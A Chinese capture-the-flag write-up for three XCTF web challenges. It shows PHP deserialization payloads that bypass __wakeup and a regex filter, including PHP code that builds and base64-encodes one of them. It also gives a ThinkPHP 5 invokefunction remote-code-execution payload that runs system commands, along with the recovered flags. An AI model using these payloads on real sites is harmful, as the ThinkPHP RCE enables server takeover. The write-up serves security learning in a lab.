攻防世界高手进阶区4-6关

目录

unserialize3

题目介绍

解题思路

访问靶场

进行反序列化

反序列化结果

__wakeup()函数绕过

传参 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

找到flag

Web_php_unserialize

题目介绍

解题思路

访问靶场

进行绕过

传参

找到flag

php_rce

题目介绍

解题思路

访问靶场

去GitHub上寻找payload

对每个payload进行尝试

查看目录

寻找root目录

find寻找与flag相关的

读取/flag

找到flag


unserialize3

题目介绍

攻防世界高手进阶区4-6关_第1张图片

解题思路

访问靶场

攻防世界高手进阶区4-6关_第2张图片

进行反序列化

在线反序列化网址:PHP在线运行工具|代码在线运行工具

攻防世界高手进阶区4-6关_第3张图片

反序列化结果

 O:4:"xctf":1:{s:4:"flag";s:3:"111";}

__wakeup()函数绕过

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点

传参 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

只要不是数字1就行

攻防世界高手进阶区4-6关_第4张图片

找到flag

cyberpeace{6823313acdbad31f95fd22bec1fdefe6}

Web_php_unserialize

题目介绍

攻防世界高手进阶区4-6关_第5张图片

解题思路

访问靶场

攻防世界高手进阶区4-6关_第6张图片

根据代码我们知道对var传参会进行base64_decode(解码)

解码后会进行正则匹配将字母o和c进行过滤

过滤后在对var传参进行反序列化

进行绕过

需要通过反序列化绕过__wakeup函数以及绕过正则匹配进行base64加密

攻防世界高手进阶区4-6关_第7张图片

file = $file;

    }

    function __destruct() {

        echo @highlight_file($this->file, true);

    }

    function __wakeup() {

        if ($this->file != 'index.php') {

            //the secret is in the fl4g.php

            $this->file = 'index.php';

        }

    }

}

$A = new Demo ('fl4g.php'); //创建对象

$C = serialize($A);                     //对对象A进行序列化

$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤

$C = str_replace(':1:',':2:',$C); //wakeup绕过

var_dump($C);

var_dump(base64_encode($C));            //base64加密



?>

传参

攻防世界高手进阶区4-6关_第8张图片

找到flag

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

php_rce

题目介绍

攻防世界高手进阶区4-6关_第9张图片

解题思路

访问靶场

攻防世界高手进阶区4-6关_第10张图片

去GitHub上寻找payload

攻防世界高手进阶区4-6关_第11张图片

攻防世界高手进阶区4-6关_第12张图片

对每个payload进行尝试

使用到第六个

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

攻防世界高手进阶区4-6关_第13张图片

查看目录

攻防世界高手进阶区4-6关_第14张图片

寻找root目录

攻防世界高手进阶区4-6关_第15张图片

find寻找与flag相关的

攻防世界高手进阶区4-6关_第16张图片

读取/flag

攻防世界高手进阶区4-6关_第17张图片

找到flag

flag{thinkphp5_rce}

你可能感兴趣的:(攻防世界,WEB渗透,php,开发语言,web安全)